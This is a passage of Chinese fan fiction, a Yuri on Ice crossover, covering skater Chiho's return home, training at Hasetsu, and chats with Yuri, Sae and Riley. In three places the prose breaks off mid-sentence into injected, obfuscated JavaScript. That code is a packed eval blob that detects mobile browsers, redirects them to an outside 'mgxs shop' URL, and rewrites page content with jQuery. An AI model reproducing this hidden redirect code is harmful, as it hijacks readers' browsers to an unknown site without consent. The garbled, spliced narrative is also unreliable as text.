千穗只是终于用上了苦练许久的4T。 结果她4T短节目的视频也火了、莫名其妙和胜生勇利模仿维克托自由滑的视频列在一起,营销号开始宣传“Janpan花滑未来可期”。 先不说胜生勇利和她差八岁根本不是一个周期的,就不久前你们还在发文嘲讽他大赛发挥不出实力本赛季退役了好不好?! 真稀奇了,夜鹰纯和鴗鸟慎一郎都退役后,男单这块就出现了后继无人、青黄不接的现象,预计下一批优秀选手要到鴗鸟理凰他们了,还要等将近10年。 在这期间,按照《冰上的尤里》的发展,胜生勇利确实能被媒体称为“王牌”。 ——“我不是说了我不认识那个胜生勇利吗,你定两张机票是干什么!”他俩的剧情和她有什么关系啊! “不是,一个人能定两个人张票吗??” 千穗对把机票塞给自己、并热烈邀请她去长谷津的维克托抗议。 他甚至订的是今天晚上的票! “嗯……因为千穗生日过后就没回过家了,不是吗?”维克托笑眯眯地拍了拍千穗的肩膀,“你的经纪人姐姐也准备给你个惊喜哦。” “哈——?”千穗转头望向不知道什么时候收拾好行李的北野宁宁。 北野宁宁一脸歉意地把行李箱杆子塞到千穗手上,“四月份要开学了,千穗也该回去上课了哦,毕竟才刚升上高一……” “可是我就算不上课成绩也没落下啊,现在科技这么发达也可以跟家里人视频……” 千穗试图解释,却被维克托打断。 “——我知道千穗以前也接受过纯的教导吧,他有没有跟你说过‘牺牲论’呢?”维克托依旧是笑眯眯的,只是蔚蓝的眼睛显得格外犀利。 千穗愣了一下,“以前问过他……” “啪!” 维克托双手合十。 “那就是听说过——” “所以要赶紧把那只夜鹰的话全都忘记才行!” 千穗:“???” 千穗:“你们是不是搞错了什么啊喂!” 还有夜鹰纯你难道是什么到处宣扬自己理论的人嘛?看着也不像啊! ——总之,在白鸦最后发布【参与《冰上的尤里》主线,奖励2年寿命】任务的诱惑下,洁千穗还是跟着维克托瞒着尤里回岛国了。 感谢雅科夫教练的信任,相信是维克托·尼基福罗夫这家伙带着她乱来。 但是尤里的短信轰击也太可怕了。 【Yuri:???】 【Yuri:你回去就算了】 【Yuri:为什么维克托也去日本!】 【Yuri:那个日本的“yuri”怎么回事!】 【Yuri:你是不是认识他?!】 【Chiho:……】 【Chiho:我说是维克托伙同我的经纪人给我订的票,你信吗?】 【Chiho:我真不认识他啊,顶多听说过名字】 【Yuri:可恶!你们给我等着!】 千穗嘴角抽了抽,把手机放下,闭上眼睛睡觉。 . 千穗下飞机后和维克托一起去了胜生勇利家的温泉旅馆住了两天,算是给自己放了个假。 嗯,一般的温泉旅馆都很不卫生,一次池水反复利用,但主角家的她可以放心。 住了两天就被发现姐姐定位变了的洁世一“逮捕”了。 ——“为什么姐姐回来了也不通知我们?媒体都比我们先知道!”世一在电话里抱怨。 千穗握着手机,听着那头世一的抱怨,一时间竟不知道该怎么接话。 “媒体比你们先知道?”她重复了一遍,语气有点心虚,“……什么媒体?” “体育报啊!网络新闻啊!”世一的声音里带着点委屈,“说‘本国洁千穗选手与维克托现身胜生勇利选手家的温泉旅馆’,还配了图!我和爸妈才知道你回来了!” 千穗:“……” 嗯,这几天有看到几个疑似狗仔的人,并且预计还会越来越多。 “那个……”她试图解释,“我本来打算过两天就回去的。” “过两天是几天?” “……明天?” “真的?” “真的真的。”千穗立刻保证,“明天我就回家。” 世一沉默了两秒。 然后声音软下来:“姐姐,我们都很想你。妈妈说你好久没吃她做的饭了,爸爸说想看你滑冰,我……我也想你了。” 千穗的心忽然软了一下。 “我知道。”她说,“明天一定回去。” “好。”世一的声音里带了点笑意,“那明天见!” “明天见。” 挂断电话,千穗盯着手机屏幕,忽然有点恍惚。 她确实很久没回家了。 从去年十二月总决赛结束,到三月份世青赛,只有1月份回去过生日顺便参加了升学考,之后跟着雅科夫的团队训练、比赛——几乎小半年都在外面。 偶尔视频通话,偶尔发消息,但面对面见面的次数,屈指可数。 为了花滑,她似乎真的放弃了很多。 不上学、不和朋友玩闹、甚至不和家人相处、待在异国,和他人交流也多是在冰面上。 她曾经因为好奇、偶然问夜鹰纯如何造就“冰上的绝对”,得到的与原著中类似的那番“牺牲论”答案,貌似真的也能套在她自己身上。 是因为上辈子有过、所以觉得这辈子不需要吗? 不对吧,毕竟上辈子她亲情缘也挺淡薄的。 千穗想着,又望着窗外的星星出神。 忽然面上又浮现几分不爽。 ……但维克托这个将“Life”和“Love”弃之不顾多年的家伙才没资格说她! 至少等他和胜生勇利相处找回这些再说! * 第二天一早,千穗收拾好行李,准备出发。 维克托靠在旅馆门口,笑眯眯地看着她。 “要回家了?” “嗯。” “勇利说欢迎你再来玩。” 千穗看了他一眼。 这人来日本才几天,现阶段应该还没和胜生勇利混熟才对吧? “你好好教他。”她说,“别把人家带歪了。” 维克托眨眨眼,笑容更深了:“千穗是在关心勇利吗?” “……我在关心日本男单的未来。” “哦——”维克托拖长声音,“那千穗真是个好前辈呢。” “他比我大八岁好不。” 千穗翻了个白眼,拖着行李箱往外走。 走出几步,又回头。 “对了,尤里就要过来了,你好好想想自己忘了和他的什么承诺。” 维克托的表情僵了一瞬。 “千穗——” 但千穗已经快步走远了。 . 回埼玉的路上,千穗掏出手机,给糸师冴发消息。 【Chiho:我回国了】 发完之后,她盯着屏幕等了一会儿。 对面没回复。 她又发了一条: 【Chiho:之前一直在赶路,没来得及回你消息】 还是没回复。 千穗想了想,又加了一句: 【Chiho:你最近怎么样?】 这次等得久了点。 但对面终于回复了。 【Sae:晚上加训刚结束,才看到消息】 【Sae:还行,和以前一样都是训练】 【Sae:你在哪?】 千穗看着那三行字,嘴角弯起来。 【Chiho:在回家的路上】 【Sae:哦】 【Chiho:你呢?打算什么时候回日本?高中还读吗?】 千穗记得这家伙比他晚一年升高中。 【Sae:明年1月回】 【Sae:父母让挂个学籍】 千穗算了算时间——现在才四月啊,还要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17326693|199124||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好几个月才到明年。 【Chiho:那明年见】 【Sae:嗯】 【Chiho:对了,你知道凛最近怎么样吗?】 【Sae:不知道】 【Chiho:……你们俩兄弟没打电话交流啥的吗?】 【Sae:有时差,没空】 哦,两个地方差8个小时来着。 千穗看了眼时间,她这里刚好早上八点。 等等,冴那边不就是刚好半夜12点吗? 【Chiho:这个点加训刚结束???】 【Sae:嗯,明天八点起】 【Sae: 睡眠时间足够】 【Chiho:真的没问题?】 【Sae:嗯】 【Sae:睡了】 状态栏显示对方已下线。 千穗:“……” 她深吸一口气,告诉自己相信他就行。 . 电车晃晃悠悠地往前开,窗外的景色从城市变成郊区,又从郊区变成熟悉的街道。 千穗靠在座位上,看着那些熟悉的风景,忽然有点紧张。 近乡情怯。 这个词她以前只在书里看过,现在才真正体会到是什么意思。 明明是自己家,明明只是小半年没回来——但她就是有点紧张。 紧张什么呢? 她也不知道。 . 电车到站的时候,千穗拖着行李箱走出站口,一眼就看见了那个熟悉的身影。 洁世一站在出站口,手里举着那个手工应援扇。 扇子上的字又换了,这次写着“终于回家了”五个大字,旁边那只白色乌鸦画得更可爱了,圆溜溜的眼睛,毛茸茸的身体,爪子上还系着一条小小的缎带。 看见千穗出来,世一的眼睛立刻亮了。 “姐姐——!” 他跑过来,一把抱住她。 千穗被抱了个满怀,手里的行李箱差点脱手。 “喂喂——” “姐姐!”世一的声音闷在她肩膀上,“你终于回来了!” 千穗愣了一秒。 然后笑了。 她伸手揉了揉世一的脑袋——这家伙又长高了不少,现在已经比她高出小半个头了。 “嗯,回来了。” . 回家的路上,世一叽叽喳喳地说个不停。 “姐姐你知道吗,我最近进了校队的主力!上场比赛进了两个球!” “凛那家伙上次来埼玉找我踢球,我们踢了个平局,他还很不服气!” “对了对了,妈妈做了你最爱吃的特别版寿喜锅,说是给你接风!” 千穗听着他絮絮叨叨,忽然觉得那些紧张感都消失了。 这就是家。 不管离开多久,回来的时候,永远有人在等。 . 到家的时候,洁父洁母已经等在门口了。 “千穗!”母亲迎上来,上下打量她,“怎么看着瘦了啊,是不是没好好吃饭?” “吃了吃了。”千穗笑着让她检查,“我可不会在吃上面委屈自己。” “那就好。”母亲拉着她的手往里走,“快进来,饭做好了。” 父亲接过她的行李箱,微笑着拍了拍她的肩膀。 “辛苦了。” 千穗愣了一下。 随后轻轻道: “不辛苦。” . 晚饭很丰盛。 炸虾、味增汤、牛排、特制版寿喜锅——都是她爱吃的。 一家人围坐在餐桌旁,边吃边聊。 母亲问她国外的生活,父亲问她接下来的安排,世一插嘴说自己的足球比赛。 千穗一一回答,偶尔反问他们几句。 吃到一半,世一忽然想起什么。 “对了姐姐,凛问你是不是回来了。” 千穗筷子顿了一下。 “他怎么知道的?” “凛昨天说冴哥问他有没有见到你,他说没有,冴哥就没再问了。”世一解释。 千穗没说话。 但嘴角不自觉地弯了一下。 明明已经发现她回国了,就是要她自己说吗? . 吃完饭,千穗回到自己的房间。 一切都没变。 床还是那张床,书桌还是那张书桌,窗台上还摆着她离开时没来得及收的小摆件。 ……家就是这样,对吧? 16. 自我 洁千穗在家待了两天。 直到雅科夫打电话说尤里也离开俄罗斯了。 “啊啊啊!这臭小子想一出是一出!” “都是跟维克托这个混蛋学的!” 千穗将电话拿远了一点,“哈哈,那啥,我去长谷津看看他们吧,就先挂了啊。” 洁千穗挂了电话,立刻打开手机查路线。 从埼玉到长谷津——新干线加本地电车,大概四个小时。 她看了眼时间,上午八点 出发的话,到那边是下午两点左右。 【Chiho:妈,我去趟长谷津】 【妈妈:?不是刚回来吗】 【Chiho:维克托和尤里都在那边,我也想过去训练,而且刚好帮雅科夫教练看看他们】 【妈妈:好吧,千穗考虑清楚就行】 【妈妈:注意安全哦】 【Chiho:嗯嗯】 千穗把手机塞进口袋,开始收拾行李。 刚拿出来没两天的衣服又塞回去,洗漱用品装进小包,冰鞋检查一遍确定没问题—— 十分钟后,她拖着行李箱出门了。 . 新干线上,千穗靠在窗边,望着窗外飞速后退的风景,貌似在发呆,实际脑子里正在播放《冰上的尤里》的剧情。 ……尤里也真是的,一个未成年独自一人跑到日本来。 也难怪雅科夫那么暴躁了。 千穗叹了口气,掏出手机,点开尤里的朋友圈。 最新一条发布于十分钟前。 配图是他穿着那件黑色T恤站在日式街道的照片,T恤上印着一个老虎头的标志,表情一如既往地拽。 评论区已经炸了。 【米拉:???你怎么也跑日本去了】 【格奥尔基:训练怎么办?】 【俄罗斯冰迷1:尤里!是尤里!】 【俄罗斯冰迷2:那个T恤好可爱!】 千穗:“……” 她默默点了个赞,然后打字: 【Chiho:你等着,我马上到】 发送。 . 四个小时后,千穗拖着行李箱走出长谷津车站。 午后的阳光把小镇照得格外灿烂,远处的山峦轮廓柔和,空气里飘着海风的味道。 她循着系统的指引,很快就找到了某金发少年。 ——「勝生ウトピア?」,就是胜生家温泉旅馆的名字。 他们家可以说是超典型的日式温泉旅馆了,木造建筑,暖帘半垂,门口摆着几盆绿植……感觉是经常出现在电影里的那种呢。 但是旅馆的生意比她走之前好太多了。 千穗戴着口罩和鸭舌帽,全副武装进入里面,还是被粉丝认出来了。 “是、是洁选手吗?!” “啊啊啊啊!是千穗大人!” “居然是洁千穗!我以为只有维克托在!” 她无奈地换上营业笑容,“嗯,是我哦,可以签名哦,但我有点赶时间,没办法合影呢~” “啊啊啊啊!”粉丝激动地低声尖叫。 ……总之,千穗回到长谷津的第一天,很热闹呢。 尤其是她还掐时间见证了尤里和勇利约比赛,即长谷津热身赛「温泉onICE」哦~ “勇利滑EROS,尤里滑AGAPE,不愧是你啊维克托,很有反差感呢。”千穗竖起大拇指夸赞。 “这样才能展示不一样的他们——对了,千穗要不要也试试?”维克托坦然接受夸赞,并抛出意想不到的问题。 千穗愣了一下。 “哎,我吗?” “对啊。”维克托点点头,“EROS和AGAPE两套编舞,千穗也可以试试看。刚好你也会4S和4T吧?这两套节目里都有哦。” 千穗沉默了,下意识看着在冰场上滑行的两人。 ……是这样的,四月初,一直传言要禁女单四周跳的事得到了部分证实,ISU宣布青年组和成年组女单短节目不允许上四周跳。 所以,维克托本来就是用于男单的短节目她练了也没用啊。 但是…… EROS和AGAPE。 这两个主题,她从来没试过。 那是两种极致的情感表达。 一种是对外的、热烈的、充满欲望的爱。 一种是对内的、无私的、不求回报的爱。 她从来没滑过这样的节目。 而且女单滑男单的节目,很有挑战性、也很吸引她……或许改编一下她短节目就能用上了…… “千穗在犹豫要不要尝试?”维克托的声音从旁边传来,带着那种让人熟悉的、笑眯眯的语气,将她的思绪拉回。 千穗转头看他。 维克托已经换成了半个人靠在挡板上的姿势。他银灰色的头发在冰场的灯光下泛着柔和的光,脸上是那种标志性的、让人分不清是真心还是营业的笑容。 但千穗认识他五年了。 从十岁第一次去雅科夫的夏令营,到后来每年去俄罗斯长训——她见过他很多次。 已经逐渐了解雅科夫对他的评价了。 “一个总把自己放在第一位的人。”千穗忽然道,“雅科夫教练这样说过你吧。” “嗯?”维克托显然没想到千穗怎么就跳转话题了。 千穗看着他,面色沉静: “你为什么要邀请我?” 维克托眨了眨眼。 “什么?” “EROS和AGAPE。”千穗说,“你为什么邀请我滑这两套节目?” 维克托愣了一下,然后笑得更灿烂了。 “因为千穗是很优秀的选手啊。而且你也会四周跳,刚好——” “你不用这么诱导我。”千穗打断他。 维克托的话顿住了。 千穗看着他,语气平静。 “我确实很想尝试。但你不用这样。” 冰场里安静了一瞬。 远处,勇利和尤里还在冰上热身,偶尔传来冰刀切过冰面的沙沙声。但这一小块区域,忽然像是被隔开了。 维克托看着她。 脸上的笑容没有消失,但那双蔚蓝色的眼睛里,有什么东西变了。 “……什么意思?” 千穗想了想,决定把话说完。 “有胜生勇利和尤里还不够吗?”她说,“你还想从我身上找到突破的灵感吗?” 维克托没说话。 “你说什么为了教导胜生勇利休赛——”千穗继续说,“但你本来就想花一段时间调整状态吧?” 维克托的笑容淡了一点。 “你也遇到了瓶颈,对吧?”千穗看着他的眼睛,“来教导他,不过是从他身上看到了自己突破瓶颈的可能。” “邀请我,也是想和曾一度压制你的夜鹰纯见面吧?你想知道他现在的状态、确认他是否还有让观众惊叹的能力——但归根结底,还是为了自己啊。” 空气仿佛凝固了。 维克托面上的笑容彻底淡了,那双蔚蓝色的眼睛里的光也变了。 不是被戳穿的恼怒。 也不是被冒犯的疏离。 是一种…… 类似于自己也没意识到的、某种被看见的惊讶。 然后他又笑了。 不再是之前那种偏营业式的笑,是更真实的、带着点无奈的笑。 “千穗,”他说,“你真的很可怕。” “谢谢夸奖。” “我不是在夸你。” “我知道。” 两个人对视了两秒。 远处,尤里的声音隐约传来:“——那个混蛋日本Yuri,你给我认真点!” 然后是勇利慌乱的回应:“我、我很认真啊!” 冰场上的气氛依旧热闹,而这一小块区域,安静得格格不入。 . “那你呢?”维克托忽然问,“你为什么答应?” 千穗愣了一下。 “什么?” “你刚才说,我不用这样诱导你。”维克托看着她,“所以你最后还是答应了。为什么?” 千穗想了想。 “因为我想试试。” 维克托挑眉。 “因为你想试试。”他重复了一遍,语气里带着点玩味,“就这个?” “就这个。” 千穗平静地看着他。 冰场里的灯光从头顶倾泻下来,把两个人的影子拉得很长。远处,勇利和尤里还在冰上较劲,似乎始终没有注意到这边的异样。 “不为什么。”千穗说,声音很轻,但很稳,“我只是觉得自己可以做到,所以去做了。” 维克托没说话。 “或许练一套上不了场的节目没有意义,”她继续说,“但我不在乎。” 维克托盯了她两秒。 然后他露出了更真实的、带着某种了然的笑。 “千穗,”他说,“你明明和我、和纯是一样的人。” 千穗眨了眨眼。 “一样?” “一样。”维克托点头,“我们都——” “才不一样呢。” 千穗打断他,嘴角弯起来,却是很直接的否决道: “我才不像你们,不断的丢掉其他事物,最后只剩下冰面与自我呢。” 白鸦可是昨天就把心理健康指标调整过了。 “……在你眼里我们是这样的吗?” 维克托直起身,摸着下巴沉吟片刻 “嗯,这些哲学的话题就先放一边——” “来试试表现属于你的AGAPE吧!” “好啊。” 她就等着这家伙和胜生勇利在一起后,狠狠爆他“黑料”了。 . 千穗和维克托换上训练服走上冰场。 已经等得不耐烦的尤里皱起眉: “你们俩聊什么呢?这么慢。” “聊千穗也要滑EROS和AGAPE的事。”维克托笑眯眯地说。 尤里愣了一下。 旁边的勇利也愣住了。 “啊?”尤里的声音提高了八度,“她也要滑?” “对啊。”维克托点头,“千穗会四周跳,刚好这两套节目里都有。” 尤里看看千穗,又看看维克托,有些匪夷所思:“新规则女单短节目不能跳四周吧?” “只是我想滑——而且又不是不能把四周跳部分改掉。”千穗理所当然道。 冰场上随即静下来。 尤里盯着千穗看了两秒,那张精致的脸上表情变了几变——从惊讶到困惑,又从困惑到某种“算了反正你们都有病”的了然。 最后他别开视线,语气别扭得要命。 “……随你便。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17326694|199124||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 千穗眨眨眼。 “就这?” “不然呢?”尤里瞪她一眼,“你想让我说什么?说‘不行你不能滑’?你又不是我学生,我管得着吗?”再说他自己都不怎么听雅科夫的! 千穗忍住笑。 “那你刚才表情那么复杂干什么?” 尤里的脸以肉眼可见的速度涨红。 “我、我就是——”他顿了顿,声音低下去,“想提醒你别受伤而已。” 千穗愣了一下。 然后嘴角弯起来。 “谢谢。” “……哼。” 尤里别过脸去,但那红透的耳尖出卖了他。 . 旁边,勇利的表情则复杂得多。 他看看千穗,又看看维克托,嘴唇动了动,似乎想说什么,但又不知道该怎么开口。 千穗注意到他的犹豫。 “想说什么直接说。” 勇利愣了一下,然后有些局促地开口: “那个……我不是要质疑什么,就是……” 他顿了顿,似乎在组织语言。 “《AGAPE》和《EROS》这两套节目,强度挺大的。男单的编舞和女单不太一样,起跳高度、转速要求、体力分配……而且千穗小姐你刚升组,身体还在发育期,如果贸然尝试高强度的节目——” “怕我受伤?” 勇利点点头,表情认真得有点过分。 “我知道你很厉害,4S和4T都能跳,但这两套节目不只是跳跃多的问题……步法密度、旋转衔接、体力分配……而且你是女单,女单的身体结构和男单不一样,同样的动作对关节的负荷可能更大……” 他说得磕磕绊绊,但每一句都实实在在。 千穗看着他,忽然有点意外。 不愧是主角……比她想得要细心。 而且,是真的在担心。 “谢谢你。”她说,语气认真了些,“不过没关系,我会量力而行的。” 勇利愣了愣,然后点点头。 “那就好……”他说,顿了顿,又补充道,“如果有什么需要帮忙的,随时说。我虽然水平不如你,但男单的编舞有些要点我还是知道的……” 千穗听着他絮絮叨叨的话,忽然觉得这个人确实挺有意思的。 明明自己都还没完全掌握,却先担心起别人来了。 “知道了。”她说,“谢谢。” 勇利这才像是放心了点,点了点头,退到一边。 . 维克托在旁边看得津津有味。 “勇利好温柔啊——”他拖长声音,笑眯眯地说,“对千穗这么关心,我都有点吃醋了。” 勇利的脸瞬间涨红。 “维、维克托!我没有——” “开玩笑的。”维克托眨眨眼,转向千穗,“不过勇利说得对,这两套节目确实强度大。千穗如果真的想尝试,要注意身体。” 千穗点点头。 “我知道。” “那就好。”维克托拍了拍手,“那现在——勇利和尤里继续练,我和千穗讨论一下《AGAPE》的改编?” 尤里皱眉:“先练我的那套?” “嗯,我自己决定的,毕竟情欲之爱什么的对我来说还是太陌生了。”千穗解释。 尤里“啧”了一声,但没再说什么,滑向冰场中央。 勇利也跟了上去。 …… 等到晚上的时候,结束训练的千穗回到胜生姐姐帮忙准备的房间,掏出手机。 屏幕亮起来,显示着几条未读消息。 有世一的,问她今天怎么样;有凛的,问她是不是真的在长谷津;还有一条—— 【夜鹰纯: 在长谷津?】 千穗盯着那三个字,愣了两秒。 这人居然会主动发消息? 【Chiho: 嗯,跟着维克托训练】 【Yodaka: 哦】 【Chiho: 怎么了?】 对面沉默了一会儿。 然后—— 【Yodaka: 他找我】 千穗眨眨眼。 是维克托找夜鹰纯? 她想起今天下午和维克托的对话——他确实想从夜鹰纯那里确认什么,而她训练结束也确实推荐了夜鹰纯的联系方式。 没想到维克托动作这么快。 【Chiho: 你见了?】 【Yodaka: 没有】 【Yodaka: 不想见】 千穗看着那两行字,觉得不奇怪。 【Chiho: 他可能会继续找你】 【Yodaka: 嗯】 【Chiho: 要我帮你转达什么吗?】 对面沉默了很久。 久到千穗以为他不会回复了。 然后—— 【Yodaka: 不用】 【Yodaka: 帮我拒绝就行】 千穗有种果然如此的感觉。 不过夜鹰纯难得用手机主动给她发消息,看来维克多对他也是颇有影响力啊。 【Chiho: 行】 【Yodaka: 嗯】 然后千穗就看见状态栏显示“对方已下线”。 千穗撇撇嘴。 金牌得主都这么自我吗?她才不想跟他们一样呢。 17. 莱莉 「温泉on ICE」这场尤里和胜生勇利的比赛,最后是勇利获胜。 尤里确实没尝试过“无私的爱”这种主题与纯洁温馨的风格。 他的爱启发自爷爷,但演绎的时候上不能完全保持。 勇利的“□□之爱”……虽然说什么灵感来自于最爱吃的炸猪排盖饭,觉得炸猪排盖饭是自己的EROS,因为炸猪排盖饭能让自己失去判断,但他特意去找芭蕾老师奥川美奈子学了女性的动作姿态,将情感完美地融入编舞……总之,确实做到“会变成很好吃的炸猪排饭”,请维克托“只注视他一个人”。 [记下来、都给我记下来!]洁千穗催促白鸦,[等他俩在一起了我要把这些给他们循环播放!] 【……知道了】白鸦无奈。 千穗满意了。 然后她就跑去找没等维克托公布结果,就已经拉着行李箱准备离开的尤里了。 “尤里奥——” 千穗故意拖长音。 “说了多少遍不要叫我尤里奥!” 拖着行李箱的少年炸毛般转头,金色的脑袋从兜帽里探出来,眼眶微红,不像难过、倒像是憋着一口气。 被她这么一喊,那蓝绿色眼中的愤怒倒是燃起来了。 “好好好,尤里。尤里·普利赛提。” 千穗举起双手做投降状,嘴角却弯着。 尤里哼了一声,把兜帽拉下来一点,露出整张脸。他拖着行李箱的手攥得很紧,指节都有些发白。 千穗走上前,在他面前站定。 “你这是打算直接去机场?” “不然呢?”尤里的声音硬邦邦的,“结果什么的,不用维克多说大家都能看出来吧?” 和千穗一起追出来的西郡优子在一旁张了张嘴,想说点什么。千穗给了她一个安心的眼神,制止了。 千穗想了想,目测了一下自己和尤里的身高差,伸手在他脑袋上拍了一下。 很轻。 “你干嘛?”尤里躲了一下,没躲开。 “不干嘛。”千穗收回手,“就是确认一下,你还是你。” 尤里皱起眉:“什么意思?” “意思是——”千穗顿了顿,看着他认真道,“回到俄罗斯后,一定会好好练习的吧?” 尤里愣了一下。 千穗继续说,语气笃定得像在陈述事实: “我相信我俩成年组第一战一定都是冠军。” 尤里的眼睛微微睁大。 夕阳落在两个人身上,把影子拉得很长。 但这一小块区域,安静得只有风声。 尤里盯着千穗看了两秒。 然后他别过脸去,“切”了一声。 “……这还用你说,能赢决赛的肯定是我!那家伙还差得远呢!” 中气十足呢。 千穗弯起眼睛。 “那就好。” 尤里没说话,拖着行李箱往前走了两步。 然后停下来。 “……喂。” “嗯?” 尤里背对着她,没回头,声音略显别扭: “你选AGAPE,好好练。” 千穗挑眉。 “怎么,你想看?” “……谁想看!”尤里的声音立刻高了八度,“我就是——提醒你一下!这套更适合你!” “好好好。”千穗忍着笑,“知道了,我会认真抉择的。” 尤里哼了一声,拖着行李箱快步走了。 这次没再停下。 千穗站在原地,看着他的背影走下台阶、消失在街角。 西郡优子不知什么时候凑了过来,小声说:“千穗和尤里奥关系真好呢。” 千穗转头看她。 “怎么说?” “就是……”西郡优子想了想,“刚才那种对话,感觉只有很熟的人才能说得出来。” 千穗不在意地笑笑,“毕竟也算认识五六年的同门嘛——”她拍拍优子的肩膀。 “好了,我们回里面去吧,维克托可是要求我结束时也来滑一次《关于爱~Agape~》呢!” “对呀,你快去换衣服吧!” … … 洁千穗是两套节目同步学的,只是《关于爱~Agape~》练得更熟练些,所以「温泉on ICE」结束时她选择这套。 她的灵感来源与尤里一样,来自家人。 ——千穗想不出来比家人给予的、更无私的爱了。 前世的爷爷奶奶、今生的父母弟弟,她不缺爱的。 前生拥有得短暂、今生更为长久,而她也因此更加珍惜这份爱。 她完整复刻的保留四周跳的《Agape》被维克托评价比目前的尤里更具艺术感染力。 当然由于体力和节目本身更适配男单的原因,难免技术分上有缺憾。 胜生等人每次看千穗完成节目都要松一口气,生怕她受伤。 千穗觉得自己休息会儿还能跳另一套《爱即EROS》,被包括白鸦在内的大家否决掉了。 【又不是比赛,这么挑战极限没保障更没好处】白鸦警告道,【不要因为自己从小到大没受过大伤病就掉以轻心,保护好身体】 【而且我现在劝你立刻联系医疗训练师给自己来套全面保健】 “是是是!我这就打电话……” . 千穗全面保养完、大脑放空陷入“我是谁?我从哪里来?我要到哪里去?”的哲学家状态。 维克托窜出来把她的思绪拉回: “——看了勇利的《爱即EROS》,千穗有没有得到启发?” “啊。”千穗眨巴眨巴眼,缓了两秒才理解对方问了什么。 “他的方法也不适合我,我没有向他那样想要捕获的人。”她慢吞吞回答。 “哦?你认为那是‘捕获’吗?”维克托露出颇为感兴趣的表情。 千穗瘫在躺椅上回了他个“你说呢”的眼神。 维克托莫名其妙笑了一下,然后转移话题: “千穗已经确定短节目要用《Agape》了吗?” 他昨天已经看过千穗将四周跳的部分改成三周跳后的《Agape》了。 千穗没正面回答:“嗯……Maybe?” “因为勇利的方法不适合你,就放弃挑战《EROS》了吗?”他继续追问。 “激将法对我没用哦。”千穗不为所动,“而且我没说要放弃啊,那套动作我也改好了,只是在想怎么提高艺术分罢了。” 日冰协这两年还算给力……提高P分,或许她可以试着用更反差的风格突破自我。 嗯,昨天她还和夜鹰纯、雷奥尼多联系过了,夜鹰前辈只回了个“哦”,雷奥尼多虽然抱怨了自己已经开始帮她把下赛季的舞编好了,但还是很赞成她的选择的。 “融入情感还是演绎情感,一般人都是后一种吧,而且女单目前正式赛上跳四周的只有你和莱莉.福克斯……” 维克托难得劝解道。 “正因为莱莉下个赛季还参加,我才需要更努力啊。”千穗叹气,“她的4F分更高吧。” 莱莉据说是下下个赛季准备退役,然后拉投资啥的,到岛国建花滑俱乐部。 emmm《金牌得主》里她刚出场时的介绍是已经实现这个目标四年了,也就是说她18年左右成立的Sta ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17326695|199124||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' r Fox花滑俱乐部,16—17赛季退役还挺合理的。 “对了,维克托你认识莱莉吗?你们在去年冬奥同一届夺冠吧。” 维克托思考了一下,露出一副遗憾的表情:“印象里只在冬奥村见过几次,没怎么交流过,不太熟。” 千穗点了点头,不怎么意外。 毕竟一个男单一个女单,也不是同国籍同队伍的,不认识正常。 然后她就听见维克托补充道: “——但米拉可能有她的联系方式。” 千穗愣了一下。 “米拉?” “嗯。”维克托点点头,“米拉去年也参加奥运了,她们都是女单,年龄也相近,据说当初在奥运村住的地方也挺近的,大概率认知。” 千穗这才想到了这茬。 “等下我问问米拉吧。” 顺便问一下新一届俄萝四周跳的情况,她记得,三月末在俄罗斯训练时看到过有几个十三四岁的女单在尝试跳四周了……4S、4T练得比较多,虽然多有摔倒,问题比较多,但应该也快有人成功了吧?就是成年组练起来更困难…… 所以说这个世界的女单四周时期迭代可真快——这才15年啊! . 维克托后面就走了,只是让洁千穗明天下午把改好的《EROS》跳一遍,剩下的比如为什么想结识莱莉之类的问题没多问。 晚上回暂住的房间后千穗问了米拉,要到了莱莉的联系方式。 不过由于时差的原因,对方快半夜才回复。 ——【莱莉·福克斯请求添加你为好友】 她盯着那条好友申请看了两秒,点了通过。 然后对方的消息就弹出来了。 【Riley:Hi!!!!!!】 【Riley:你居然加我了,米拉跟我说的时候我还不敢相信呢!】 【Riley:洁千穗!我知道你!除我之外唯一在正式赛上跳出四周的女单选手!!!】 千穗有点被她的态度惊讶到。 【Chiho:……谢谢?】 【Riley:没想到你会加我呢!毕竟我们从没说过话】 千穗心想:我也没想到。 但她还没来得及打字,对方又发来一串。 【Riley:你知道吗我其实看过你好多比赛!去年JGPF的直播我就看了!你的3A真的好漂亮哦!】 【Riley:然后今年世青赛我也看了!4S!!!天啊你用出来了!甚至后面全是高级跳跃!】 【Riley:我记得你是不是也在俄罗斯训练?我听说你和维克托他们一个团队?雅科夫教练?难怪米拉认识你】 千穗看着屏幕上飞速弹出的消息,一时间不知道该先回哪条。 莱莉是这么活泼的性格吗? 【Chiho:那个……你一条一条发,我看不过来】 对面顿了一下。 然后—— 【Riley:Oops sorry】 